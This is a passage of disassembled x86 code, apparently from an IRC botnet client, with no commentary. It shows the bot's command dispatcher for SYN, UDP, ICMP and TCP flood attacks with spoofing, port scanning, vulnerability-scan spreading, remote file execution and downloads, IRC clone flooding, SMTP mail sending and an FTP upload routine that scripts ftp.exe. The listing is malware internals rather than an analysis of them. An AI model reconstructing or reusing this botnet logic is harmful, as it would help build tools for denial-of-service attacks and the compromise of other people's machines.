		push	dword ptr [ebp+10h]
		push	offset aEnz_mode ; "enz.mode"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411025
		push	dword ptr [ebp+10h]
		push	offset aEnz_m	; "enz.m"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411025
		push	dword ptr [ebp+10h]
		push	offset aClone_raw ; "clone.raw"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FBA
		push	dword ptr [ebp+10h]
		push	offset aClone_ra ; "clone.ra"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FBA
		push	dword ptr [ebp+10h]
		push	offset aClone_mode ; "clone.mode"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F38
		push	dword ptr [ebp+10h]
		push	offset aClone_m	; "clone.m"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F38
		push	dword ptr [ebp+10h]
		push	offset aClone_nick ; "clone.nick"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EC7
		push	dword ptr [ebp+10h]
		push	offset aClone_ni ; "clone.ni"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EC7
		push	dword ptr [ebp+10h]
		push	offset aClone_join ; "clone.join"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EA1
		push	dword ptr [ebp+10h]
		push	offset aClone_j	; "clone.j"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EA1
		push	dword ptr [ebp+10h]
		push	offset aClone_part ; "clone.part"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E3E
		push	dword ptr [ebp+10h]
		push	offset aClone_p	; "clone.p"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E3E
		push	dword ptr [ebp+10h]
		push	offset aEnz_repeat ; "enz.repeat"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D78
		push	dword ptr [ebp+10h]
		push	offset aEnz_rp	; "enz.rp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D78
		push	dword ptr [ebp+10h]
		push	offset aEnz_delay ; "enz.delay"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CDD
		push	dword ptr [ebp+10h]
		push	offset aEnz_de	; "enz.de"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CDD
		push	dword ptr [ebp+10h]
		push	offset aDownload_up020 ; "download.up020"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B5F
		push	dword ptr [ebp+10h]
		push	offset aDownload_020 ; "download.020`"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B5F
		push	dword ptr [ebp+10h]
		push	offset aBox_execute ; "box.execute"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410ABE
		push	dword ptr [ebp+10h]
		push	offset aBox_e	; "box.e"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410ABE
		push	dword ptr [ebp+10h]
		push	offset aBox_findfile ; "box.findfile"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109C0
		push	dword ptr [ebp+10h]
		push	offset aBox_ff	; "box.ff"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109C0
		push	dword ptr [ebp+10h]
		push	offset aBox_rename ; "box.rename"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41096F
		push	dword ptr [ebp+10h]
		push	offset aBox_mv	; "box.mv"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41096F
		push	dword ptr [ebp+10h]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410874
		push	dword ptr [ebp+10h]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410874
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	loc_40D219
		push	dword ptr [ebp+10h]
		push	offset aClone_make ; "clone.make"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410789
		push	dword ptr [ebp+10h]
		push	offset aClone_start ; "clone.start"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410789
		push	dword ptr [ebp+10h]
		push	offset aDs_sy1	; "ds.sy1"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410684
		push	dword ptr [ebp+10h]
		push	offset aDs_ack	; "ds.ack"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410684
		push	dword ptr [ebp+10h]
		push	offset aDs_rm	; "ds.rm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410684
		push	dword ptr [ebp+10h]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410586
		push	dword ptr [ebp+10h]
		push	offset aSy1	; "sy1"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410586
		push	dword ptr [ebp+10h]
		push	offset aDonad_frwww ; "donad.frwww"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410448
		push	dword ptr [ebp+10h]
		push	offset aD1	; "d1"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410448
		push	dword ptr [ebp+10h]
		push	offset aServer_redir_0 ; "server.redirect.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41034E
		push	dword ptr [ebp+10h]
		push	offset aServer_rd_on ; "server.rd.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41034E
		push	dword ptr [ebp+10h]
		push	offset aEnz_portscan ; "enz.portscan"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41025B
		push	dword ptr [ebp+10h]
		push	offset aEnz_ps	; "enz.ps"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41025B
		push	dword ptr [ebp+10h]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410186
		push	dword ptr [ebp+10h]
		push	offset aClone_pm ; "clone.pm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410186
		push	dword ptr [ebp+10h]
		push	offset aClone_action ; "clone.action"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410071
		push	dword ptr [ebp+10h]
		push	offset aClone_ac ; "clone.ac"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410071
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		mov	[ebp+18h], eax
		jz	loc_40D219
		push	dword ptr [ebp+10h]
		push	offset aVuln_start ; "vuln.start"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FD1A
		push	dword ptr [ebp+10h]
		push	offset aVvv	; "vvv"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FD1A
		push	dword ptr [ebp+10h]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBFA
		push	dword ptr [ebp+10h]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBFA
		push	dword ptr [ebp+10h]
		push	offset aPu	; "pu"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBFA
		push	dword ptr [ebp+10h]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAC7
		push	dword ptr [ebp+10h]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAC7
		push	dword ptr [ebp+10h]
		push	offset aPg	; "pg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAC7
		push	dword ptr [ebp+10h]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F934
		push	dword ptr [ebp+10h]
		push	offset aUsa	; "usa"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F934
		push	dword ptr [ebp+10h]
		push	offset aUtil_email ; "util.email"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F73D
		lea	eax, [ebp-3E4h]
		push	edi
		push	eax
		call	sub_415C00
		push	dword ptr [ebp+20h]
		call	sub_415A5F
		push	dword ptr [ebp+8]
		mov	[ebp+20h], eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		call	sub_415C00
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-0B94h]
		push	eax
		call	sub_415C00
		push	offset asc_4269E8 ; " "
		push	offset a_	; "_"
		push	dword ptr [ebp+esi-80h]
		call	sub_4099AA
		push	eax
		lea	eax, [ebp-548h]
		push	eax
		call	sub_415C00
		add	esp, 30h
		lea	eax, [ebp-6F4h]
		push	eax
		push	101h
		call	ds:dword_43A300
		lea	eax, [ebp-3E4h]
		push	eax
		call	ds:dword_43A40C
		push	6
		push	1
		push	2
		mov	edi, eax
		call	ds:dword_43A408
		push	dword ptr [ebp+20h]
		mov	esi, eax
		mov	word ptr [ebp-2D8h], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-2D4h], eax
		call	ds:dword_43A388
		mov	[ebp-2D6h], ax
		lea	eax, [ebp-548h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-548h]
		push	eax
		lea	eax, [ebp-0B94h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-159Ch]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4154E9
		add	esp, 1Ch
		lea	eax, [ebp-2D8h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43A330
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_43A3A0
		lea	eax, [ebp-0C98h]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp-159Ch]
		push	eax
		push	esi
		call	ds:dword_43A3D8
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_43A3A0
		push	esi
		call	ds:dword_43A420
		call	ds:dword_43A2E8
		lea	eax, [ebp-0B94h]
		push	eax
		push	offset unk_4351D8


loc_40F704:				; CODE XREF: seg000:0041086Fj
					; seg000:00410B5Aj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		add	esp, 0Ch


loc_40F713:				; CODE XREF: seg000:00410853j
					; seg000:00410AFEj ...
		cmp	[ebp-8], ebx
		jnz	loc_4124D8
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 14h
		jmp	loc_4124D8
; ---------------------------------------------------------------------------


loc_40F73D:				; CODE XREF: seg000:0040F5AEj
		push	dword ptr [ebp+10h]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F906
		push	dword ptr [ebp+10h]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F906
		mov	esi, [ebp+esi-80h]
		cmp	esi, ebx
		jz	loc_40D219
		push	dword ptr [ebp+10h]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412990
		push	4
		push	esi
		call	sub_40C1FE
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F7DB
		push	esi
		push	offset dword_43517C


loc_40F7A2:				; CODE XREF: seg000:0040FAB8j
					; seg000:0041006Cj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154E9
		add	esp, 0Ch


loc_40F7B1:				; CODE XREF: seg000:0040FA9Cj
					; seg000:00410050j ...
		cmp	[ebp-8], ebx
		jnz	loc_412850
		push	ebx
		push	dword ptr [ebp-4]


loc_40F7BE:				; CODE XREF: seg000:0041067Fj
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]


loc_40F7CE:				; CODE XREF: seg000:00411F28j
		call	sub_412D4E
		add	esp, 14h
		jmp	loc_412850
; ---------------------------------------------------------------------------


loc_40F7DB:				; CODE XREF: seg000:0040F79Aj
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41553B
		pop	ecx
		call	sub_415545
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_415545
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_415545
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp-0C9Ch]
		push	edx
		push	eax
		lea	eax, [ebp-0B98h]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4154E9
		lea	eax, [ebp-0B98h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415BE8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+2Ch], eax
		jz	loc_40D219
		push	esi
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_415B96
		push	dword ptr [ebp+2Ch]
		call	sub_415B40
		lea	eax, [ebp-0B98h]
		push	eax
		lea	eax, [ebp-3E4h]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4154E9
		add	esp, 2Ch
		lea	eax, [ebp-3E4h]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_43A2FC
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_40F8A5
		push	offset dword_435100
		jmp	short loc_40F8AA
; ---------------------------------------------------------------------------


loc_40F8A5:				; CODE XREF: seg000:0040F89Cj
		push	offset dword_4350C0


loc_40F8AA:				; CODE XREF: seg000:0040F8A3j
		call	sub_4154E9
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40F8D3
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 14h


loc_40F8D3:				; CODE XREF: seg000:0040F8B5j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B16D


loc_40F8DF:				; CODE XREF: seg000:0040F904j
		lea	eax, [ebp-0B98h]
		push	4
		push	eax
		call	sub_40C1FE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D219
		lea	eax, [ebp-0B98h]
		push	eax
		call	sub_4178FC
		jmp	short loc_40F8DF
; ---------------------------------------------------------------------------


loc_40F906:				; CODE XREF: seg000:0040F74Ej
					; seg000:0040F765j
		push	dword ptr [ebp+esi-80h]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		call	sub_415A5F
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_406B1D
		jmp	loc_41298D
; ---------------------------------------------------------------------------


loc_40F934:				; CODE XREF: seg000:0040F580j
					; seg000:0040F597j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_415A6A
		lea	eax, [ebp-680h]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_415910
		add	esp, 14h
		test	eax, eax
		jz	short loc_40F997
		lea	eax, [ebp-680h]
		push	eax
		push	offset aAck	; "ack"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F997
		lea	eax, [ebp-680h]
		push	eax
		push	offset aRandom	; "random"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F997
		push	offset dword_435084
		jmp	loc_41202E
; ---------------------------------------------------------------------------


loc_40F997:				; CODE XREF: seg000:0040F95Dj
					; seg000:0040F974j ...
		push	dword ptr [ebp+18h]
		call	sub_415A5F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_40FABD
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_415A6A
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-700h]
		push	esi
		push	eax
		call	sub_415A6A
		push	dword ptr [ebp+8]
		call	sub_415A5F
		mov	[ebp-57Ch], eax
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-8Ch]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_415A6A
		mov	eax, [ebp-4]
		add	esp, 28h
		cmp	[ebp-574h], ebx
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40FA2E
		mov	eax, offset aNormal ; "Normal"


loc_40FA2E:				; CODE XREF: seg000:0040FA27j
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	eax
		push	offset dword_43502C
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A6A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Ch
		push	eax
		call	sub_414F95
		add	esp, 2Ch
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset loc_401BD6
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_40FAAC


loc_40FA96:				; CODE XREF: seg000:0040FAAAj
		cmp	[ebp-568h], ebx
		jnz	loc_40F7B1
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_40FA96
; ---------------------------------------------------------------------------


loc_40FAAC:				; CODE XREF: seg000:0040FA94j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434FE0
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------


loc_40FABD:				; CODE XREF: seg000:0040F9A8j
		push	offset dword_434F94
		jmp	loc_41202E
; ---------------------------------------------------------------------------


loc_40FAC7:				; CODE XREF: seg000:0040F53Bj
					; seg000:0040F552j ...
		cmp	ds:dword_43A478, ebx
		mov	esi, [ebp+0Ch]
		jnz	loc_40FBCF
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_416D40
		push	dword ptr [ebp+20h]
		call	sub_415A5F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_415A5F
		push	dword ptr [ebp+18h]
		mov	[ebp-300h], eax
		call	sub_415A5F
		push	7Fh
		mov	[ebp-2FCh], eax
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_416D40
		push	dword ptr [ebp-2FCh]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-304h]
		push	offset unk_434F38
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Eh
		push	eax
		call	sub_414F95
		add	esp, 48h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	offset loc_40A217
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_40FBBE


loc_40FBAC:				; CODE XREF: seg000:0040FBBCj
		cmp	[ebp-2E8h], ebx
		jnz	short loc_40FBE8
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_40FBAC
; ---------------------------------------------------------------------------


loc_40FBBE:				; CODE XREF: seg000:0040FBAAj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434EEC
		jmp	loc_410778
; ---------------------------------------------------------------------------


loc_40FBCF:				; CODE XREF: seg000:0040FAD0j
		push	1FFh
		lea	eax, [ebp-2C8h]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_416D40


loc_40FBE5:				; CODE XREF: seg000:00410784j
		add	esp, 0Ch


loc_40FBE8:				; CODE XREF: seg000:0040FBB2j
					; seg000:0040FCF9j ...
		cmp	[ebp-8], ebx
		jnz	loc_412850
		push	ebx
		push	dword ptr [ebp-4]
		jmp	loc_411F1A
; ---------------------------------------------------------------------------


loc_40FBFA:				; CODE XREF: seg000:0040F4F6j
					; seg000:0040F50Dj ...
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_416D40
		push	dword ptr [ebp+20h]
		call	sub_415A5F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_415A5F
		push	dword ptr [ebp+18h]
		mov	[ebp-300h], eax
		call	sub_415A5F
		mov	esi, [ebp+esi-80h]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp-2FCh], eax
		jz	short loc_40FC5F
		push	esi
		call	sub_415A5F
		pop	ecx
		mov	[ebp-2F8h], eax
		jmp	short loc_40FC65
; ---------------------------------------------------------------------------


loc_40FC5F:				; CODE XREF: seg000:0040FC4Ej
		mov	[ebp-2F8h], ebx


loc_40FC65:				; CODE XREF: seg000:0040FC5Dj
		push	7Fh
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_416D40
		push	dword ptr [ebp-2FCh]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-304h]
		push	offset dword_434E78
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Fh
		push	eax
		call	sub_414F95
		add	esp, 30h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	40A3A3h
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_40FD09


loc_40FCF3:				; CODE XREF: seg000:0040FD07j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40FBE8
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_40FCF3
; ---------------------------------------------------------------------------


loc_40FD09:				; CODE XREF: seg000:0040FCF1j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434E2C
		jmp	loc_410778
; ---------------------------------------------------------------------------


loc_40FD1A:				; CODE XREF: seg000:0040F4C8j
					; seg000:0040F4DFj
		push	8
		call	sub_4151DD
		push	dword ptr [ebp+20h]
		mov	[ebp+10h], eax
		call	sub_415A5F
		add	eax, [ebp+10h]
		pop	ecx
		pop	ecx
		cmp	eax, 12Ch
		jle	short loc_40FD6D
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-2C8h]
		push	offset dword_434DD8
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E


loc_40FD65:				; CODE XREF: seg000:00411183j
		add	esp, 20h
		jmp	loc_412990
; ---------------------------------------------------------------------------


loc_40FD6D:				; CODE XREF: seg000:0040FD36j
		push	edi
		call	sub_415A5F
		push	dword ptr [ebp+20h]
		mov	[ebp-31Ch], eax
		call	sub_415A5F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_415A5F
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp-318h], eax
		jnb	short loc_40FDA6
		push	1
		pop	eax
		mov	[ebp-318h], eax


loc_40FDA6:				; CODE XREF: seg000:0040FD9Bj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40FDB3
		mov	[ebp-318h], ecx


loc_40FDB3:				; CODE XREF: seg000:0040FDABj
		push	dword ptr [ebp+18h]
		call	sub_415A5F
		cmp	eax, 1F4h
		pop	ecx
		mov	[ebp-314h], eax
		jbe	short loc_40FDD3
		mov	dword ptr [ebp-314h], 1F4h


loc_40FDD3:				; CODE XREF: seg000:0040FDC7j
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	ds:dword_427320, ebx
		mov	[ebp+8], ebx
		jz	short loc_40FE29
		mov	dword ptr [ebp+2Ch], offset dword_427320


loc_40FDEC:				; CODE XREF: seg000:0040FE0Bj
		mov	eax, [ebp+2Ch]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FE0F
		add	dword ptr [ebp+2Ch], 3Ch
		inc	dword ptr [ebp+8]
		mov	eax, [ebp+2Ch]
		cmp	[eax], ebx
		jnz	short loc_40FDEC
		jmp	short loc_40FE29
; ---------------------------------------------------------------------------


loc_40FE0F:				; CODE XREF: seg000:0040FDFDj
		mov	eax, [ebp+8]
		mov	ecx, eax
		mov	[ebp-300h], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_427320[ecx]
		mov	[ebp-31Ch], ecx


loc_40FE29:				; CODE XREF: seg000:0040FDE3j
					; seg000:0040FE0Dj
		cmp	[ebp-31Ch], ebx
		jz	loc_411C4B
		mov	edi, [ebp+esi-80h]
		cmp	edi, ebx
		mov	[ebp+20h], edi
		jz	short loc_40FE70
		cmp	byte ptr [edi],	23h
		jz	short loc_40FE70
		push	edi
		lea	eax, [ebp-430h]
		push	10h
		push	eax
		call	sub_415A6A
		push	78h
		push	edi
		call	sub_417080
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp-2F0h], eax
		jmp	loc_40FF44
; ---------------------------------------------------------------------------


loc_40FE70:				; CODE XREF: seg000:0040FE3Ej
					; seg000:0040FE43j
		cmp	[ebp-9B3h], bl
		jnz	short loc_40FE92
		cmp	[ebp-9B2h], bl
		jnz	short loc_40FE92
		cmp	[ebp-9A2h], bl
		jnz	short loc_40FE92
		push	offset dword_434D8C
		jmp	loc_41202E
; ---------------------------------------------------------------------------


loc_40FE92:				; CODE XREF: seg000:0040FE76j
					; seg000:0040FE7Ej ...
		push	10h
		lea	eax, [ebp+8]
		pop	edi
		push	eax
		lea	eax, [ebp-2D8h]
		push	eax
		mov	[ebp+8], edi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A32C
		mov	al, [ebp-9B3h]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-2D4h], eax
		push	dword ptr [ebp-2D4h]
		call	ds:dword_43A414
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_416D40
		add	esp, 0Ch
		cmp	[ebp-9A2h], bl
		jz	short loc_40FF3E
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_417040
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	[ebp+2Fh], bl
		jle	short loc_40FF32


loc_40FF10:				; CODE XREF: seg000:0040FF30j
		cmp	eax, ebx
		jz	short loc_40FF32
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_417040
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_40FF10


loc_40FF32:				; CODE XREF: seg000:0040FF0Ej
					; seg000:0040FF12j
		mov	dword ptr [ebp-2F0h], 1
		jmp	short loc_40FF44
; ---------------------------------------------------------------------------


